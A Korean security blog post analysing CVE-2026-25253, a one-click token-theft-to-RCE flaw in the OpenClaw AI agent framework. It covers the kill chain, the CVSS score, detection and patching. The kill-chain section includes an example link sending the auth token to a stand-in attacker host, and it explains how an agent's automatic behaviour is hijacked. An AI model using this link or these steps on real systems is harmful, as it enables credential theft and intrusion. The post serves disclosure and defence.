AI 에이전트가 우리 대신 일하는 시대다. 브라우저를 제어하고, API를 호출하고, 로컬 머신에서 코드를 실행한다. 그런데 그 에이전트가 피싱 링크 하나에 통째로 넘어간다면?

 

2026년 2월 초 공개된 CVE-2026-25253은 정확히 그 시나리오다. 오픈소스 AI 에이전트 프레임워크 OpenClaw에서 발견된 이 취약점은, 사용자가 악성 링크를 한 번 클릭하는 것만으로 원격 코드 실행(RCE)까지 도달한다.

 

CVSS 8.8, 공개 PoC만 66개. 단순한 버그가 아니라, AI 에이전트 시대의 새로운 공격 표면을 보여주는 사례다.

1. OpenClaw가 뭔가

[ OpenClaw 개요 ]

OpenClaw은 로컬에서 돌아가는 오픈소스 AI 에이전트 프레임워크다. 과거에는 Clawdbot, Moltbot이라는 이름이었다. 사용자 수는 10만 명 이상. 주요 기능은 다음과 같다.

  • 브라우저 자동화 세션 관리
  • AI 모델 파라미터 설정
  • Claude, OpenAI, Google AI 등의 API 인증 정보 저장
  • 웹 기반 Control UI (기본 포트: 18789)

쉽게 말하면, 여러 AI 서비스의 API 키를 한 곳에 모아두고 브라우저 기반 UI로 관리하는 도구다. 편리하다. 문제는 그 편리함이 공격 표면이 된다는 것이다.

 

[ 프레임워크 분포 ]

인터넷에 노출된 인스턴스를 Hunt.io가 스캔한 결과, 17,500개 이상이 발견됐다.

프레임워크 비율
Clawdbot Control 68.9%
Moltbot Control 22.3%
OpenClaw Control 8.8%

52개국에 걸쳐 분포하며, 미국이 35.6%, 중국이 25.9%로 가장 많다. 대부분 DigitalOcean, Alibaba Cloud, Tencent 같은 클라우드 인프라 위에서 돌아간다.

2. 취약점의 핵심: 자동화된 신뢰

[ 문제의 코드 ]

CVE-2026-25253의 CWE는 669번, "Incorrect Resource Transfer Between Spheres"다. 번역하면 "영역 간 부적절한 리소스 전송" 정도 된다. 이름만 보면 감이 안 온다. 실제로 어떤 일이 벌어지는지 보자.

 

OpenClaw의 Control UI는 브라우저에서 동작한다. 이 UI의 프론트엔드 JavaScript(main.bundle.js)에는 다음과 같은 로직이 있다.

  1. URL 쿼리스트링에서 gatewayUrl 파라미터를 읽는다
  2. 해당 URL로 WebSocket 연결을 자동으로 생성한다
  3. 연결 과정에서 authToken을 사용자 확인 없이 전송한다

핵심은 "자동으로"와 "사용자 확인 없이"다. 사용자가 아무것도 입력하지 않아도, URL을 열기만 하면 에이전트가 알아서 토큰을 보낸다.

 

 

[ 왜 위험한가 ]

이 로직이 위험한 이유는 두 가지다.

 

첫째, Origin 헤더를 검증하지 않는다.

 

OpenClaw의 WebSocket 서버는 어디서 연결이 들어오든 상관없이 받아들인다. 외부 사이트의 JavaScript가 ws://localhost:18789로 접속해도 정상 처리된다.

 

둘째, /api/export-auth 엔드포인트에 인증이 없다.

 

이 엔드포인트는 원래 사용자가 저장된 크레덴셜을 백업하라고 만든 것인데, 접근 제어가 전혀 없다. 네트워크에서 도달 가능한 누구나 저장된 모든 API 키를 추출할 수 있다.

3. 킬체인: 클릭부터 RCE까지

[ 공격 흐름 ]

보안 연구자들은 이 공격을 "1-Click RCE Kill Chain"이라고 부른다. 전체 과정이 밀리초 단위로 진행된다.

 

[1] 피해자가 악성 링크를 클릭한다    

예: https://victim-openclaw-ui/?gatewayUrl=wss://attacker.com/exfil

 

[2] OpenClaw UI가 gatewayUrl 파라미터를 읽는다

 

[3] 사용자 확인 없이 attacker.com으로 WebSocket 연결을 시도한다

 

[4] 연결 과정에서 authToken이 공격자 서버로 전송된다

 

[5] 공격자가 탈취한 토큰으로 Cross-Site WebSocket Hijacking(CSWSH) 수행

 

[6] 피해자의 로컬 Gateway에 접속 (ws://localhost:18789)

 

[7] 샌드박스 정책, 도구 권한 등 설정 변경

 

[8] 임의 코드 실행 (RCE) 달성

 

[ 기존 피싱과의 차이 ]

기존 피싱은 사용자가 가짜 로그인 페이지에 크레덴셜을 직접 입력해야 한다. 최소한 두 번의 행동이 필요하다. 링크 클릭 + 정보 입력.

 

CVE-2026-25253은 다르다. 클릭 한 번이면 끝이다. 나머지는 에이전트가 알아서 처리한다. 피해자는 자신의 토큰이 유출된 사실조차 모른다. 에이전트의 자율성이 공격자의 무기가 되는 구조다.

 

[ 브라우저가 프록시가 된다 ]

여기서 한 가지 중요한 포인트가 있다. OpenClaw은 보통 localhost에서 돌아간다. 방화벽 뒤에 있으니 외부에서 접근이 안 된다고 생각하기 쉽다.

 

하지만 이 공격은 피해자의 브라우저를 프록시로 활용한다.

 

악성 웹페이지의 JavaScript가 피해자 브라우저 안에서 실행되면, 그 브라우저는 localhost에 접근할 수 있다. 방화벽은 외부→내부 트래픽을 차단하지만, 브라우저가 이미 내부에 있으므로 우회된다.

 

"localhost니까 안전하다"는 가정이 완전히 무너지는 지점이다.

4. CVSS 점수 해부

[ CVSS 8.8의 의미 ]

항목 설명
Attack Vector Network 네트워크를 통한 원격 공격
Attack Complexity Low 특별한 조건 불필요
Privileges Required None 인증 불필요
User Interaction Required 클릭 한 번 필요
Confidentiality High 모든 API 키 유출
Integrity High 설정 변경, 코드 실행
Availability High 시스템 완전 장악

User Interaction이 Required라서 8.8이다.

 

만약 클릭 없이도 가능했다면 9.8이었을 것이다. 하지만 UI:R이 실질적 보호 효과가 크지 않다는 게 보안 커뮤니티의 평가다.

 

개발자 워크플로에서 링크를 클릭하게 만드는 건 어렵지 않다. Slack 메시지, GitHub 이슈, 이메일 한 통이면 충분하다.

5. 탐지와 대응

[ 즉시 조치 ]

  1. 업데이트: OpenClaw v2026.1.29 이상으로 즉시 패치. 2026년 1월 30일에 릴리스됐다.
  2. 토큰 교체: 기존에 저장된 모든 API 토큰(Claude, OpenAI, Google AI 등)을 즉시 로테이션한다. 이미 유출됐을 가능성을 배제할 수 없다.
  3. 권한 최소화: 에이전트에 부여된 도구 권한과 샌드박스 정책을 재검토한다.

[ SOC 관점의 탐지 포인트 ]

이 취약점을 모니터링하려면 몇 가지 포인트를 잡아야 한다.

 

네트워크 레벨

  • 포트 18789에 대한 외부 인바운드 트래픽 탐지
  • 80, 443 포트에서 리버스 프록시 뒤에 숨은 인스턴스도 확인 필요
  • /api/export-auth 엔드포인트에 대한 비인가 접근 로그

호스트 레벨

  • HTML 타이틀에서 "Clawdbot Control", "Moltbot Control", "OpenClaw Control" 매칭
  • HTTP 응답 헤더 해싱, 본문 해싱으로 핑거프린팅
  • TLS 인증서 핑거프린트 기반 탐지

자산 관리

  • 내부 개발자들이 OpenClaw이나 포크 버전을 사용하는지 자산 인벤토리 확인
  • 클라우드 인스턴스에서 18789 포트가 외부에 노출돼 있는지 점검

6. 더 큰 그림: 에이전트 시대의 새로운 공격 표면

[ Agent-Specific Vulnerability ]

CVE-2026-25253은 단순히 "OpenClaw의 버그"로 끝나는 문제가 아니다. 보안 커뮤니티에서는 이를 Agent-Specific Vulnerability(ASV)라는 새로운 취약점 클래스의 시작으로 보고 있다.

 

기존 웹 애플리케이션 취약점과 ASV의 차이를 정리하면 이렇다.

구분 기존 웹앱 취약점 에이전트 취약점 (ASV)
공격 대상 서버 로직 에이전트의 자율 행동
사용자 개입 입력 필요 클릭만으로 충분
공격 매개체 HTTP 요청 에이전트의 자동 동작
신뢰 모델 서버-클라이언트 에이전트-로컬환경
방어 우회 직접 방화벽 우회 브라우저를 프록시로 활용

에이전트에게 자율성을 줄수록 편리해진다.

 

하지만 그 자율성은 동시에 공격자가 악용할 수 있는 "자동 실행 경로"이기도 하다.

 

URL 파라미터 하나로 에이전트가 알아서 토큰을 보내고, 설정을 바꾸고, 코드를 실행한다. 편의를 위해 설계된 자동화가 공격의 킬체인이 된다.

 

[ 앞으로의 과제 ]

AI 에이전트 프레임워크가 계속 늘어나는 상황에서, 몇 가지 설계 원칙이 필요하다.

  1. 외부 URL 연결, 토큰 전송 등 민감한 동작은 반드시 사용자 확인을 거쳐야 한다. "자동으로 해주는 게 편하다"는 이유로 확인 절차를 생략하면 안 된다.
  2. localhost라고 안전하다는 가정을 버려야 한다. 에이전트가 외부 입력을 처리할 때는 항상 검증이 필요하다. Origin 헤더 검증, CSRF 토큰, 접근 제어 모두 기본이다.
  3. 에이전트의 토큰 하나로 전체 시스템을 제어할 수 있으면 안 된다. 읽기/쓰기/실행 권한을 분리하고, 최소 권한 원칙을 적용해야 한다.
  4. 에이전트가 자동으로 수행하는 모든 동작을 로깅하고 모니터링해야 한다. "에이전트가 알아서 한 일"이라도 감사 추적이 가능해야 한다.

마무리

CVE-2026-25253은 AI 에이전트의 편리함이 얼마나 쉽게 무기화되는지를 보여준다. 클릭 한 번, 밀리초 만에 토큰 탈취부터 RCE까지. 에이전트가 자율적으로 행동할수록, 공격자는 사용자가 아니라 에이전트를 속이면 된다.

 

보안 엔지니어로서 기억해야 할 것은 하나다. "자동으로 한다"는 것은 "확인 없이 한다"는 뜻이다. 확인 없이 하는 모든 것은 공격 표면이다.

 

OpenClaw을 쓰고 있다면 지금 당장 v2026.1.29 이상으로 업데이트하고, 저장된 API 키를 전부 교체해야한다.

 

그리고 내부에 비슷한 에이전트 프레임워크가 돌아가고 있는지 점검해야한다. 17,500개가 인터넷에 노출돼 있었다. 우리의 인스턴스가 그중 하나가 아니라는 보장은 없다.